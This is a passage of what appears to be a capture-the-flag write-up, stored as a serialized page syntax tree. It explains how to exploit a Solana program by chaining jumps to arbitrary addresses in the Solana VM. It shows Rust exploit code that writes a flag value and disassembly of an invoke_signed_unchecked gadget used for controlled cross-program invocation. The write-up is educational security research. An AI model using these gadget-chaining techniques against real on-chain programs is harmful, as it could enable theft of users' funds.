style":220},[43825],{"type":28,"value":43826},"()]],\n",{"type":23,"tag":213,"props":43828,"children":43829},{"class":215,"line":9195},[43830,43834,43838],{"type":23,"tag":213,"props":43831,"children":43832},{"style":220},[43833],{"type":28,"value":3745},{"type":23,"tag":213,"props":43835,"children":43836},{"style":274},[43837],{"type":28,"value":2126},{"type":23,"tag":213,"props":43839,"children":43840},{"style":220},[43841],{"type":28,"value":313},{"type":23,"tag":213,"props":43843,"children":43844},{"class":215,"line":9301},[43845],{"type":23,"tag":213,"props":43846,"children":43847},{"emptyLinePlaceholder":18},[43848],{"type":28,"value":530},{"type":23,"tag":213,"props":43850,"children":43851},{"class":215,"line":23557},[43852],{"type":23,"tag":213,"props":43853,"children":43854},{"style":537},[43855],{"type":28,"value":43856}," // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":23,"tag":213,"props":43858,"children":43859},{"class":215,"line":23592},[43860,43865,43869,43873,43877,43881,43885,43889,43893,43897,43901,43906,43910,43914,43919,43923,43927,43932],{"type":23,"tag":213,"props":43861,"children":43862},{"style":268},[43863],{"type":28,"value":43864}," flag_pda_ai",{"type":23,"tag":213,"props":43866,"children":43867},{"style":274},[43868],{"type":28,"value":124},{"type":23,"tag":213,"props":43870,"children":43871},{"style":257},[43872],{"type":28,"value":13950},{"type":23,"tag":213,"props":43874,"children":43875},{"style":220},[43876],{"type":28,"value":13955},{"type":23,"tag":213,"props":43878,"children":43879},{"style":274},[43880],{"type":28,"value":2126},{"type":23,"tag":213,"props":43882,"children":43883},{"style":220},[43884],{"type":28,"value":3821},{"type":23,"tag":213,"props":43886,"children":43887},{"style":274},[43888],{"type":28,"value":3150},{"type":23,"tag":213,"props":43890,"children":43891},{"style":514},[43892],{"type":28,"value":4170},{"type":23,"tag":213,"props":43894,"children":43895},{"style":220},[43896],{"type":28,"value":15470},{"type":23,"tag":213,"props":43898,"children":43899},{"style":274},[43900],{"type":28,"value":124},{"type":23,"tag":213,"props":43902,"children":43903},{"style":257},[43904],{"type":28,"value":43905},"copy_from_slice",{"type":23,"tag":213,"props":43907,"children":43908},{"style":220},[43909],{"type":28,"value":265},{"type":23,"tag":213,"props":43911,"children":43912},{"style":274},[43913],{"type":28,"value":405},{"type":23,"tag":213,"props":43915,"children":43916},{"style":514},[43917],{"type":28,"value":43918},"0x4337",{"type":23,"tag":213,"props":43920,"children":43921},{"style":290},[43922],{"type":28,"value":684},{"type":23,"tag":213,"props":43924,"children":43925},{"style":274},[43926],{"type":28,"value":124},{"type":23,"tag":213,"props":43928,"children":43929},{"style":257},[43930],{"type":28,"value":43931},"to_le_bytes",{"type":23,"tag":213,"props":43933,"children":43934},{"style":220},[43935],{"type":28,"value":15484},{"type":23,"tag":213,"props":43937,"children":43938},{"class":215,"line":23600},[43939],{"type":23,"tag":213,"props":43940,"children":43941},{"emptyLinePlaceholder":18},[43942],{"type":28,"value":530},{"type":23,"tag":213,"props":43944,"children":43945},{"class":215,"line":23608},[43946,43950],{"type":23,"tag":213,"props":43947,"children":43948},{"style":290},[43949],{"type":28,"value":14407},{"type":23,"tag":213,"props":43951,"children":43952},{"style":220},[43953],{"type":28,"value":14412},{"type":23,"tag":213,"props":43955,"children":43956},{"class":215,"line":23617},[43957],{"type":23,"tag":213,"props":43958,"children":43959},{"style":220},[43960],{"type":28,"value":1208},{"type":23,"tag":24,"props":43962,"children":43963},{},[43964],{"type":28,"value":43965},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":23,"tag":24,"props":43967,"children":43968},{},[43969],{"type":23,"tag":4009,"props":43970,"children":43973},{"alt":43971,"src":43972},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":23,"tag":24,"props":43975,"children":43976},{},[43977],{"type":28,"value":43978},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":23,"tag":47,"props":43980,"children":43982},{"id":43981},"solution-implementation",[43983],{"type":28,"value":43984},"Solution Implementation",{"type":23,"tag":24,"props":43986,"children":43987},{},[43988,43990,43995],{"type":28,"value":43989},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":23,"tag":209,"props":43991,"children":43993},{"className":43992},[],[43994],{"type":28,"value":35739},{"type":28,"value":43996}," invocations:",{"type":23,"tag":202,"props":43998,"children":44002},{"className":43999,"code":44000,"language":44001,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: gadget1]\n C --> E[3: process]\n E --> F[4: gadget2]\n E --> G[...]\n","mermaid",[44003],{"type":23,"tag":209,"props":44004,"children":44005},{"__ignoreMap":7},[44006,44014,44022,44030,44038,44046,44054],{"type":23,"tag":213,"props":44007,"children":44008},{"class":215,"line":216},[44009],{"type":23,"tag":213,"props":44010,"children":44011},{},[44012],{"type":28,"value":44013},"graph LR\n",{"type":23,"tag":213,"props":44015,"children":44016},{"class":215,"line":226},[44017],{"type":23,"tag":213,"props":44018,"children":44019},{},[44020],{"type":28,"value":44021}," A[0: entrypoint] --> B[1: process_instruction]\n",{"type":23,"tag":213,"props":44023,"children":44024},{"class":215,"line":524},[44025],{"type":23,"tag":213,"props":44026,"children":44027},{},[44028],{"type":28,"value":44029}," B --> C[2: process]\n",{"type":23,"tag":213,"props":44031,"children":44032},{"class":215,"line":533},[44033],{"type":23,"tag":213,"props":44034,"children":44035},{},[44036],{"type":28,"value":44037}," C --> D[3: gadget1]\n",{"type":23,"tag":213,"props":44039,"children":44040},{"class":215,"line":543},[44041],{"type":23,"tag":213,"props":44042,"children":44043},{},[44044],{"type":28,"value":44045}," C --> E[3: process]\n",{"type":23,"tag":213,"props":44047,"children":44048},{"class":215,"line":551},[44049],{"type":23,"tag":213,"props":44050,"children":44051},{},[44052],{"type":28,"value":44053}," E --> F[4: gadget2]\n",{"type":23,"tag":213,"props":44055,"children":44056},{"class":215,"line":570},[44057],{"type":23,"tag":213,"props":44058,"children":44059},{},[44060],{"type":28,"value":44061}," E --> G[...]\n",{"type":23,"tag":24,"props":44063,"children":44064},{},[44065],{"type":28,"value":44066},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":23,"tag":24,"props":44068,"children":44069},{},[44070,44072,44078],{"type":28,"value":44071},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":23,"tag":36,"props":44073,"children":44075},{"href":40544,"rel":44074},[40],[44076],{"type":28,"value":44077},"Binary Ninja",{"type":28,"value":44079}," to find a suitable gadget for this.",{"type":23,"tag":24,"props":44081,"children":44082},{},[44083,44085,44092],{"type":28,"value":44084},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":23,"tag":36,"props":44086,"children":44089},{"href":44087,"rel":44088},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[40],[44090],{"type":28,"value":44091},"skip the strip pass",{"type":28,"value":124},{"type":23,"tag":9693,"props":44094,"children":44096},{"id":44095},"cpi-gadget",[44097],{"type":28,"value":44098},"CPI Gadget",{"type":23,"tag":24,"props":44100,"children":44101},{},[44102,44104,44109,44111,44118,44120,44126],{"type":28,"value":44103},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":23,"tag":209,"props":44105,"children":44107},{"className":44106},[],[44108],{"type":28,"value":38353},{"type":28,"value":44110}," function. This function calls into the solana sdk's function ",{"type":23,"tag":36,"props":44112,"children":44115},{"href":44113,"rel":44114},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[40],[44116],{"type":28,"value":44117},"invoke_signed_unchecked",{"type":28,"value":44119},", yielding a powerful gadget at the address ",{"type":23,"tag":209,"props":44121,"children":44123},{"className":44122},[],[44124],{"type":28,"value":44125},"0x100001ba8",{"type":28,"value":124},{"type":23,"tag":202,"props":44128,"children":44130},{"className":206,"code":44129,"language":205,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8 79a278ff00000000 ldxdw r2, [r10-136] {var_88}\n100001bb0 79a380ff00000000 ldxdw r3, [r10-128] {var_80}\n100001bb8 79a468ff00000000 ldxdw r4, [r10-152] {var_98}\n100001bc0 79a570ff00000000 ldxdw r5, [r10-144] {var_90}\n100001bc8 8520000020100000 call sol_invoke_signed_rust\n100001bd0 5500040000000000 jne \u003C+4> r0, 0x0\n\n100001bd8 b701000018000000 mov r1, 0x18\n100001be0 79a288ff00000000 ldxdw r2, [r10-120] {var_78}\n100001be8 6312000000000000 stxw [r2-0], r1 {0x18}\n100001bf0 0500030000000000 ja \u003C+3>\n\n100001bf8 79a188ff00000000 ldxdw r1, [r10-120] {var_78}\n100001c00 bf02000000000000 mov r2, r0\n100001c08 8510000075000000 call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10 79a2b8ff00000000 ldxdw r2, [r10-72] {var_48}\n100001c18 1502040000000000 jeq \u003C+4> r2, 0x0\n\n100001c20 2702000022000000 mul r2, 0x22\n100001c28 79a1b0ff00000000 ldxdw r1, [r10-80] {var_50}\n100001c30 b703000001000000 mov r3, 0x1\n100001c38 8510000003feffff call __rust_dealloc\n\n100001c40 79a2d0ff00000000 ldxdw r2, [r10-48] {var_30}\n100001c48 1502030000000000 jeq \u003C+3> r2, 0x0\n\n100001c50 79a1c8ff00000000 ldxdw r1, [r10-56] {var_38}\n100001c58 b703000001000000 mov r3, 0x1\n100001c60 85100000fefdffff call __rust_dealloc\n\n100001c68 9500000000000000 exit {__return_addr}\n",[44131],{"type":23,"tag":209,"props":44132,"children":44133},{"__ignoreMap":7},[44134,44159,44215,44266,44318,44370,44393,44441,44448,44480,44531,44589,44623,44630,44679,44709,44784,44791,44842,44888,44895,44926,44977,45007,45029,45036,45087,45132,45139,45190,45218,45239,45246],{"type":23,"tag":213,"props":44135,"children":44136},{"class":215,"line":216},[44137,44141,44145,44150,44154],{"type":23,"tag":213,"props":44138,"children":44139},{"style":220},[44140],{"type":28,"value":13733},{"type":23,"tag":213,"props":44142,"children":44143},{"style":274},[44144],{"type":28,"value":562},{"type":23,"tag":213,"props":44146,"children":44147},{"style":220},[44148],{"type":28,"value":44149},"program",{"type":23,"tag":213,"props":44151,"children":44152},{"style":274},[44153],{"type":28,"value":562},{"type":23,"tag":213,"props":44155,"children":44156},{"style":268},[44157],{"type":28,"value":44158},"invoke_signed_unchecked\n",{"type":23,"tag":213,"props":44160,"children":44161},{"class":215,"line":226},[44162,44167,44172,44177,44182,44187,44192,44196,44201,44206,44211],{"type":23,"tag":213,"props":44163,"children":44164},{"style":268},[44165],{"type":28,"value":44166},"100001ba8",{"type":23,"tag":213,"props":44168,"children":44169},{"style":268},[44170],{"type":28,"value":44171}," 79a278ff00000000",{"type":23,"tag":213,"props":44173,"children":44174},{"style":268},[44175],{"type":28,"value":44176}," ldxdw",{"type":23,"tag":213,"props":44178,"children":44179},{"style":268},[44180],{"type":28,"value":44181}," r2",{"type":23,"tag":213,"props":44183,"children":44184},{"style":220},[44185],{"type":28,"value":44186},", [",{"type":23,"tag":213,"props":44188,"children":44189},{"style":268},[44190],{"type":28,"value":44191},"r10",{"type":23,"tag":213,"props":44193,"children":44194},{"style":274},[44195],{"type":28,"value":4423},{"type":23,"tag":213,"props":44197,"children":44198},{"style":514},[44199],{"type":28,"value":44200},"136",{"type":23,"tag":213,"props":44202,"children":44203},{"style":220},[44204],{"type":28,"value":44205},"] {",{"type":23,"tag":213,"props":44207,"children":44208},{"style":268},[44209],{"type":28,"value":44210},"var_88",{"type":23,"tag":213,"props":44212,"children":44213},{"style":220},[44214],{"type":28,"value":1208},{"type":23,"tag":213,"props":44216,"children":44217},{"class":215,"line":524},[44218,44223,44228,44232,44237,44241,44245,44249,44253,44257,44262],{"type":23,"tag":213,"props":44219,"children":44220},{"style":268},[44221],{"type":28,"value":44222},"100001bb0",{"type":23,"tag":213,"props":44224,"children":44225},{"style":268},[44226],{"type":28,"value":44227}," 79a380ff00000000",{"type":23,"tag":213,"props":44229,"children":44230},{"style":268},[44231],{"type":28,"value":44176},{"type":23,"tag":213,"props":44233,"children":44234},{"style":268},[44235],{"type":28,"value":44236}," r3",{"type":23,"tag":213,"props":44238,"children":44239},{"style":220},[44240],{"type":28,"value":44186},{"type":23,"tag":213,"props":44242,"children":44243},{"style":268},[44244],{"type":28,"value":44191},{"type":23,"tag":213,"props":44246,"children":44247},{"style":274},[44248],{"type":28,"value":4423},{"type":23,"tag":213,"props":44250,"children":44251},{"style":514},[44252],{"type":28,"value":29902},{"type":23,"tag":213,"props":44254,"children":44255},{"style":220},[44256],{"type":28,"value":44205},{"type":23,"tag":213,"props":44258,"children":44259},{"style":268},[44260],{"type":28,"value":44261},"var_80",{"type":23,"tag":213,"props":44263,"children":44264},{"style":220},[44265],{"type":28,"value":1208},{"type":23,"tag":213,"props":44267,"children":44268},{"class":215,"line":533},[44269,44274,44279,44283,44288,44292,44296,44300,44305,44309,44314],{"type":23,"tag":213,"props":44270,"children":44271},{"style":268},[44272],{"type":28,"value":44273},"100001bb8",{"type":23,"tag":213,"props":44275,"children":44276},{"style":268},[44277],{"type":28,"value":44278}," 79a468ff00000000",{"type":23,"tag":213,"props":44280,"children":44281},{"style":268},[44282],{"type":28,"value":44176},{"type":23,"tag":213,"props":44284,"children":44285},{"style":268},[44286],{"type":28,"value":44287}," r4",{"type":23,"tag":213,"props":44289,"children":44290},{"style":220},[44291],{"type":28,"value":44186},{"type":23,"tag":213,"props":44293,"children":44294},{"style":268},[44295],{"type":28,"value":44191},{"type":23,"tag":213,"props":44297,"children":44298},{"style":274},[44299],{"type":28,"value":4423},{"type":23,"tag":213,"props":44301,"children":44302},{"style":514},[44303],{"type":28,"value":44304},"152",{"type":23,"tag":213,"props":44306,"children":44307},{"style":220},[44308],{"type":28,"value":44205},{"type":23,"tag":213,"props":44310,"children":44311},{"style":268},[44312],{"type":28,"value":44313},"var_98",{"type":23,"tag":213,"props":44315,"children":44316},{"style":220},[44317],{"type":28,"value":1208},{"type":23,"tag":213,"props":44319,"children":44320},{"class":215,"line":543},[44321,44326,44331,44335,44340,44344,44348,44352,44357,44361,44366],{"type":23,"tag":213,"props":44322,"children":44323},{"style":268},[44324],{"type":28,"value":44325},"100001bc0",{"type":23,"tag":213,"props":44327,"children":44328},{"style":268},[44329],{"type":28,"value":44330}," 79a570ff00000000",{"type":23,"tag":213,"props":44332,"children":44333},{"style":268},[44334],{"type":28,"value":44176},{"type":23,"tag":213,"props":44336,"children":44337},{"style":268},[44338],{"type":28,"value":44339}," r5",{"type":23,"tag":213,"props":44341,"children":44342},{"style":220},[44343],{"type":28,"value":44186},{"type":23,"tag":213,"props":44345,"children":44346},{"style":268},[44347],{"type":28,"value":44191},{"type":23,"tag":213,"props":44349,"children":44350},{"style":274},[44351],{"type":28,"value":4423},{"type":23,"tag":213,"props":44353,"children":44354},{"style":514},[44355],{"type":28,"value":44356},"144",{"type":23,"tag":213,"props":44358,"children":44359},{"style":220},[44360],{"type":28,"value":44205},{"type":23,"tag":213,"props":44362,"children":44363},{"style":268},[44364],{"type":28,"value":44365},"var_90",{"type":23,"tag":213,"props":44367,"children":44368},{"style":220},[44369],{"type":28,"value":1208},{"type":23,"tag":213,"props":44371,"children":44372},{"class":215,"line":551},[44373,44378,44383,44388],{"type":23,"tag":213,"props":44374,"children":44375},{"style":268},[44376],{"type":28,"value":44377},"100001bc8",{"type":23,"tag":213,"props":44379,"children":44380},{"style":514},[44381],{"type":28,"value":44382}," 8520000020100000",{"type":23,"tag":213,"props":44384,"children":44385},{"style":268},[44386],{"type":28,"value":44387}," call",{"type":23,"tag":213,"props":44389,"children":44390},{"style":268},[44391],{"type":28,"value":44392}," sol_invoke_signed_rust\n",{"type":23,"tag":213,"props":44394,"children":44395},{"class":215,"line":570},[44396,44401,44406,44411,44415,44419,44423,44427,44432,44436],{"type":23,"tag":213,"props":44397,"children":44398},{"style":268},[44399],{"type":28,"value":44400},"100001bd0",{"type":23,"tag":213,"props":44402,"children":44403},{"style":514},[44404],{"type":28,"value":44405}," 5500040000000000",{"type":23,"tag":213,"props":44407,"children":44408},{"style":268},[44409],{"type":28,"value":44410}," jne",{"type":23,"tag":213,"props":44412,"children":44413},{"style":220},[44414],{"type":28,"value":8804},{"type":23,"tag":213,"props":44416,"children":44417},{"style":274},[44418],{"type":28,"value":2703},{"type":23,"tag":213,"props":44420,"children":44421},{"style":514},[44422],{"type":28,"value":17578},{"type":23,"tag":213,"props":44424,"children":44425},{"style":220},[44426],{"type":28,"value":5914},{"type":23,"tag":213,"props":44428,"children":44429},{"style":268},[44430],{"type":28,"value":44431},"r0",{"type":23,"tag":213,"props":44433,"children":44434},{"style":220},[44435],{"type":28,"value":424},{"type":23,"tag":213,"props":44437,"children":44438},{"style":514},[44439],{"type":28,"value":44440},"0x0\n",{"type":23,"tag":213,"props":44442,"children":44443},{"class":215,"line":655},[44444],{"type":23,"tag":213,"props":44445,"children":44446},{"emptyLinePlaceholder":18},[44447],{"type":28,"value":530},{"type":23,"tag":213,"props":44449,"children":44450},{"class":215,"line":1176},[44451,44456,44461,44466,44471,44475],{"type":23,"tag":213,"props":44452,"children":44453},{"style":268},[44454],{"type":28,"value":44455},"100001bd8",{"type":23,"tag":213,"props":44457,"children":44458},{"style":268},[44459],{"type":28,"value":44460}," b701000018000000",{"type":23,"tag":213,"props":44462,"children":44463},{"style":268},[44464],{"type":28,"value":44465}," mov",{"type":23,"tag":213,"props":44467,"children":44468},{"style":268},[44469],{"type":28,"value":44470}," r1",{"type":23,"tag":213,"props":44472,"children":44473},{"style":220},[44474],{"type":28,"value":424},{"type":23,"tag":213,"props":44476,"children":44477},{"style":514},[44478],{"type":28,"value":44479},"0x18\n",{"type":23,"tag":213,"props":44481,"children":44482},{"class":215,"line":1202},[44483,44488,44493,44497,44501,44505,44509,44513,44518,44522,44527],{"type":23,"tag":213,"props":44484,"children":44485},{"style":268},[44486],{"type":28,"value":44487},"100001be0",{"type":23,"tag":213,"props":44489,"children":44490},{"style":268},[44491],{"type":28,"value":44492}," 79a288ff00000000",{"type":23,"tag":213,"props":44494,"children":44495},{"style":268},[44496],{"type":28,"value":44176},{"type":23,"tag":213,"props":44498,"children":44499},{"style":268},[44500],{"type":28,"value":44181},{"type":23,"tag":213,"props":44502,"children":44503},{"style":220},[44504],{"type":28,"value":44186},{"type":23,"tag":213,"props":44506,"children":44507},{"style":268},[44508],{"type":28,"value":44191},{"type":23,"tag":213,"props":44510,"children":44511},{"style":274},[44512],{"type":28,"value":4423},{"type":23,"tag":213,"props":44514,"children":44515},{"style":514},[44516],{"type":28,"value":44517},"120",{"type":23,"tag":213,"props":44519,"children":44520},{"style":220},[44521],{"type":28,"value":44205},{"type":23,"tag":213,"props":44523,"children":44524},{"style":268},[44525],{"type":28,"value":44526},"var_78",{"type":23,"tag":213,"props":44528,"children":44529},{"style":220},[44530],{"type":28,"value":1208},{"type":23,"tag":213,"props":44532,"children":44533},{"class":215,"line":1758},[44534,44539,44544,44549,44553,44558,44562,44566,44570,44575,44580,44585],{"type":23,"tag":213,"props":44535,"children":44536},{"style":268},[44537],{"type":28,"value":44538},"100001be8",{"type":23,"tag":213,"props":44540,"children":44541},{"style":514},[44542],{"type":28,"value":44543}," 6312000000000000",{"type":23,"tag":213,"props":44545,"children":44546},{"style":268},[44547],{"type":28,"value":44548}," stxw",{"type":23,"tag":213,"props":44550,"children":44551},{"style":220},[44552],{"type":28,"value":469},{"type":23,"tag":213,"props":44554,"children":44555},{"style":268},[44556],{"type":28,"value":44557},"r2",{"type":23,"tag":213,"props":44559,"children":44560},{"style":274},[44561],{"type":28,"value":4423},{"type":23,"tag":213,"props":44563,"children":44564},{"style":514},[44565],{"type":28,"value":4116},{"type":23,"tag":213,"props":44567,"children":44568},{"style":220},[44569],{"type":28,"value":23108},{"type":23,"tag":213,"props":44571,"children":44572},{"style":268},[44573],{"type":28,"value":44574},"r1",{"type":23,"tag":213,"props":44576,"children":44577},{"style":220},[44578],{"type":28,"value":44579}," {",{"type":23,"tag":213,"props":44581,"children":44582},{"style":514},[44583],{"type":28,"value":44584},"0x18",{"type":23,"tag":213,"props":44586,"children":44587},{"style":220},[44588],{"type":28,"value":1208},{"type":23,"tag":213,"props":44590,"children":44591},{"class":215,"line":1767},[44592,44597,44602,44607,44611,44615,44619],{"type":23,"tag":213,"props":44593,"children":44594},{"style":268},[44595],{"type":28,"value":44596},"100001bf0",{"type":23,"tag":213,"props":44598,"children":44599},{"style":514},[44600],{"type":28,"value":44601}," 0500030000000000",{"type":23,"tag":213,"props":44603,"children":44604},{"style":268},[44605],{"type":28,"value":44606}," ja",{"type":23,"tag":213,"props":44608,"children":44609},{"style":220},[44610],{"type":28,"value":8804},{"type":23,"tag":213,"props":44612,"children":44613},{"style":274},[44614],{"type":28,"value":2703},{"type":23,"tag":213,"props":44616,"children":44617},{"style":514},[44618],{"type":28,"value":17346},{"type":23,"tag":213,"props":44620,"children":44621},{"style":220},[44622],{"type":28,"value":6084},{"type":23,"tag":213,"props":44624,"children":44625},{"class":215,"line":1789},[44626],{"type":23,"tag":213,"props":44627,"children":44628},{"emptyLinePlaceholder":18},[44629],{"type":28,"value":530},{"type":23,"tag":213,"props":44631,"children":44632},{"class":215,"line":1812},[44633,44638,44643,44647,44651,44655,44659,44663,44667,44671,44675],{"type":23,"tag":213,"props":44634,"children":44635},{"style":268},[44636],{"type":28,"value":44637},"100001bf8",{"type":23,"tag":213,"props":44639,"children":44640},{"style":268},[44641],{"type":28,"value":44642}," 79a188ff00000000",{"type":23,"tag":213,"props":44644,"children":44645},{"style":268},[44646],{"type":28,"value":44176},{"type":23,"tag":213,"props":44648,"children":44649},{"style":268},[44650],{"type":28,"value":44470},{"type":23,"tag":213,"props":44652,"children":44653},{"style":220},[44654],{"type":28,"value":44186},{"type":23,"tag":213,"props":44656,"children":44657},{"style":268},[44658],{"type":28,"value":44191},{"type":23,"tag":213,"props":44660,"children":44661},{"style":274},[44662],{"type":28,"value":4423},{"type":23,"tag":213,"props":44664,"children":44665},{"style":514},[44666],{"type":28,"value":44517},{"type":23,"tag":213,"props":44668,"children":44669},{"style":220},[44670],{"type":28,"value":44205},{"type":23,"tag":213,"props":44672,"children":44673},{"style":268},[44674],{"type":28,"value":44526},{"type":23,"tag":213,"props":44676,"children":44677},{"style":220},[44678],{"type":28,"value":1208},{"type":23,"tag":213,"props":44680,"children":44681},{"class":215,"line":1838},[44682,44687,44692,44696,44700,44704],{"type":23,"tag":213,"props":44683,"children":44684},{"style":268},[44685],{"type":28,"value":44686},"100001c00",{"type":23,"tag":213,"props":44688,"children":44689},{"style":268},[44690],{"type":28,"value":44691}," bf02000000000000",{"type":23,"tag":213,"props":44693,"children":44694},{"style":268},[44695],{"type":28,"value":44465},{"type":23,"tag":213,"props":44697,"children":44698},{"style":268},[44699],{"type":28,"value":44181},{"type":23,"tag":213,"props":44701,"children":44702},{"style":220},[44703],{"type":28,"value":424},{"type":23,"tag":213,"props":44705,"children":44706},{"style":268},[44707],{"type":28,"value":44708},"r0\n",{"type":23,"tag":213,"props":44710,"children":44711},{"class":215,"line":1851},[44712,44717,44722,44726,44731,44735,44740,44744,44748,44753,44757,44761,44766,44771,44775,44779],{"type":23,"tag":213,"props":44713,"children":44714},{"style":268},[44715],{"type":28,"value":44716},"100001c08",{"type":23,"tag":213,"props":44718,"children":44719},{"style":514},[44720],{"type":28,"value":44721}," 8510000075000000",{"type":23,"tag":213,"props":44723,"children":44724},{"style":268},[44725],{"type":28,"value":44387},{"type":23,"tag":213,"props":44727,"children":44728},{"style":290},[44729],{"type":28,"value":44730}," _ZN94_",{"type":23,"tag":213,"props":44732,"children":44733},{"style":274},[44734],{"type":28,"value":10371},{"type":23,"tag":213,"props":44736,"children":44737},{"style":290},[44738],{"type":28,"value":44739},"LT",{"type":23,"tag":213,"props":44741,"children":44742},{"style":274},[44743],{"type":28,"value":10371},{"type":23,"tag":213,"props":44745,"children":44746},{"style":268},[44747],{"type":28,"value":13733},{"type":23,"tag":213,"props":44749,"children":44750},{"style":274},[44751],{"type":28,"value":44752},"...$",{"type":23,"tag":213,"props":44754,"children":44755},{"style":268},[44756],{"type":28,"value":684},{"type":23,"tag":213,"props":44758,"children":44759},{"style":274},[44760],{"type":28,"value":10371},{"type":23,"tag":213,"props":44762,"children":44763},{"style":290},[44764],{"type":28,"value":44765},"GT",{"type":23,"tag":213,"props":44767,"children":44768},{"style":274},[44769],{"type":28,"value":44770},"$$",{"type":23,"tag":213,"props":44772,"children":44773},{"style":290},[44774],{"type":28,"value":44765},{"type":23,"tag":213,"props":44776,"children":44777},{"style":274},[44778],{"type":28,"value":10371},{"type":23,"tag":213,"props":44780,"children":44781},{"style":220},[44782],{"type":28,"value":44783},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":213,"props":44785,"children":44786},{"class":215,"line":1864},[44787],{"type":23,"tag":213,"props":44788,"children":44789},{"emptyLinePlaceholder":18},[44790],{"type":28,"value":530},{"type":23,"tag":213,"props":44792,"children":44793},{"class":215,"line":1890},[44794,44799,44804,44808,44812,44816,44820,44824,44829,44833,44838],{"type":23,"tag":213,"props":44795,"children":44796},{"style":268},[44797],{"type":28,"value":44798},"100001c10",{"type":23,"tag":213,"props":44800,"children":44801},{"style":268},[44802],{"type":28,"value":44803}," 79a2b8ff00000000",{"type":23,"tag":213,"props":44805,"children":44806},{"style":268},[44807],{"type":28,"value":44176},{"type":23,"tag":213,"props":44809,"children":44810},{"style":268},[44811],{"type":28,"value":44181},{"type":23,"tag":213,"props":44813,"children":44814},{"style":220},[44815],{"type":28,"value":44186},{"type":23,"tag":213,"props":44817,"children":44818},{"style":268},[44819],{"type":28,"value":44191},{"type":23,"tag":213,"props":44821,"children":44822},{"style":274},[44823],{"type":28,"value":4423},{"type":23,"tag":213,"props":44825,"children":44826},{"style":514},[44827],{"type":28,"value":44828},"72",{"type":23,"tag":213,"props":44830,"children":44831},{"style":220},[44832],{"type":28,"value":44205},{"type":23,"tag":213,"props":44834,"children":44835},{"style":268},[44836],{"type":28,"value":44837},"var_48",{"type":23,"tag":213,"props":44839,"children":44840},{"style":220},[44841],{"type":28,"value":1208},{"type":23,"tag":213,"props":44843,"children":44844},{"class":215,"line":1899},[44845,44850,44855,44860,44864,44868,44872,44876,44880,44884],{"type":23,"tag":213,"props":44846,"children":44847},{"style":268},[44848],{"type":28,"value":44849},"100001c18",{"type":23,"tag":213,"props":44851,"children":44852},{"style":514},[44853],{"type":28,"value":44854}," 1502040000000000",{"type":23,"tag":213,"props":44856,"children":44857},{"style":268},[44858],{"type":28,"value":44859}," jeq",{"type":23,"tag":213,"props":44861,"children":44862},{"style":220},[44863],{"type":28,"value":8804},{"type":23,"tag":213,"props":44865,"children":44866},{"style":274},[44867],{"type":28,"value":2703},{"type":23,"tag":213,"props":44869,"children":44870},{"style":514},[44871],{"type":28,"value":17578},{"type":23,"tag":213,"props":44873,"children":44874},{"style":220},[44875],{"type":28,"value":5914},{"type":23,"tag":213,"props":44877,"children":44878},{"style":268},[44879],{"type":28,"value":44557},{"type":23,"tag":213,"props":44881,"children":44882},{"style":220},[44883],{"type":28,"value":424},{"type":23,"tag":213,"props":44885,"children":44886},{"style":514},[44887],{"type":28,"value":44440},{"type":23,"tag":213,"props":44889,"children":44890},{"class":215,"line":1912},[44891],{"type":23,"tag":213,"props":44892,"children":44893},{"emptyLinePlaceholder":18},[44894],{"type":28,"value":530},{"type":23,"tag":213,"props":44896,"children":44897},{"class":215,"line":1921},[44898,44903,44908,44913,44917,44921],{"type":23,"tag":213,"props":44899,"children":44900},{"style":268},[44901],{"type":28,"value":44902},"100001c20",{"type":23,"tag":213,"props":44904,"children":44905},{"style":514},[44906],{"type":28,"value":44907}," 2702000022000000",{"type":23,"tag":213,"props":44909,"children":44910},{"style":268},[44911],{"type":28,"value":44912}," mul",{"type":23,"tag":213,"props":44914,"children":44915},{"style":268},[44916],{"type":28,"value":44181},{"type":23,"tag":213,"props":44918,"children":44919},{"style":220},[44920],{"type":28,"value":424},{"type":23,"tag":213,"props":44922,"children":44923},{"style":514},[44924],{"type":28,"value":44925},"0x22\n",{"type":23,"tag":213,"props":44927,"children":44928},{"class":215,"line":3879},[44929,44934,44939,44943,44947,44951,44955,44959,44964,44968,44973],{"type":23,"tag":213,"props":44930,"children":44931},{"style":268},[44932],{"type":28,"value":44933},"100001c28",{"type":23,"tag":213,"props":44935,"children":44936},{"style":268},[44937],{"type":28,"value":44938}," 